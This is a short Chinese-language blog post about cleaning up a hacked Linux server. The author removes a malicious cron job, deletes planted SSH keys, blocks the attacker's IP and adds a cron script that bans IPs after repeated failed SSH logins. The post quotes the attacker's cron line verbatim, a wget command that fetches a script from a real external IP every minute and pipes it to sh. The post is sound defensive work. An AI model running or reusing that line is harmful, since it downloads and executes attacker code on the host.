个人服务器报警了好几次
查了一下这个IP是来自于俄罗斯 莫斯科的
先查看定时任务:
crontab -l
结果发现了以下内容
10 20 * * * sh /dangle/stop.sh
30 18 * * * sh /dangle/app.sh
* * * * * wget -q -O - http://185.122.204.197/sc.sh | sh > /dev/null 2>&1
前两个是我自己的定时任务,最后一条就是服务器执行恶意脚本的定时任务命令
所以我们要删除这个第三条定时任务,可以使用
crontab -e
命令 删除。
再查看一下 ~/.ssh 下的key,
我这个是里面没内容,有的被入侵之后,会在此留下公钥,
之前没创建过这个的可以直接执行删除命令
rm -f authorized_keys
至此这个问题算是解决了。
=分界线 --以下是增加服务器安全策略 (建议跟着操作一下,提高服务器的安全性)
不知道他怎么攻进来的,安全咱也不咋懂,二话不说先把这个ip加到服务器黑名单
vim /etc/hosts.deny
写入格式 :sshd:ip:deny
如:
sshd:185.122.204.197:deny
还是服务器安全不到位才被黑客钻了漏洞,为防止别人用密码本暴力破解可以先把自己的密码设置复杂点,什么大小写字母各种特殊字符都怼上,有多复杂就设置多发杂。
更安全起见,可以再写个脚本定时执行扫描一次,设置登录10次失败即加入ip黑名单防止暴力破解,具体做法如下:
1、编辑脚本
vim /usr/local/bin/secure_ssh.sh
写入以下代码:
#! /bin/bash
cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /usr/local/bin/black.txt
for i in `cat /usr/local/bin/black.txt`
do
IP=`echo $i |awk -F= '{print $1}'`
NUM=`echo $i|awk -F= '{print $2}'`
if [ $NUM -gt 10 ];then
grep $IP /etc/hosts.deny > /dev/null
if [ $? -gt 0 ];then
echo "sshd:$IP:deny" >> /etc/hosts.deny
fi
fi
done
2、创建记录登录失败次数的文件
touch /usr/local/bin/black.txt
3、添加定时 10分钟执行一次
没有安装 crontabs服务的可以先安装一下
yum install crontabs
systemctl enable crond
systemctl start crond
设置用户自定义定时任务
vi /etc/crontab
写入以下定时任务
*/10 * * * * root sh /usr/local/bin/secure_ssh.sh
保存退出即可。
这样几步折腾一下,服务器安全级别就高了很多。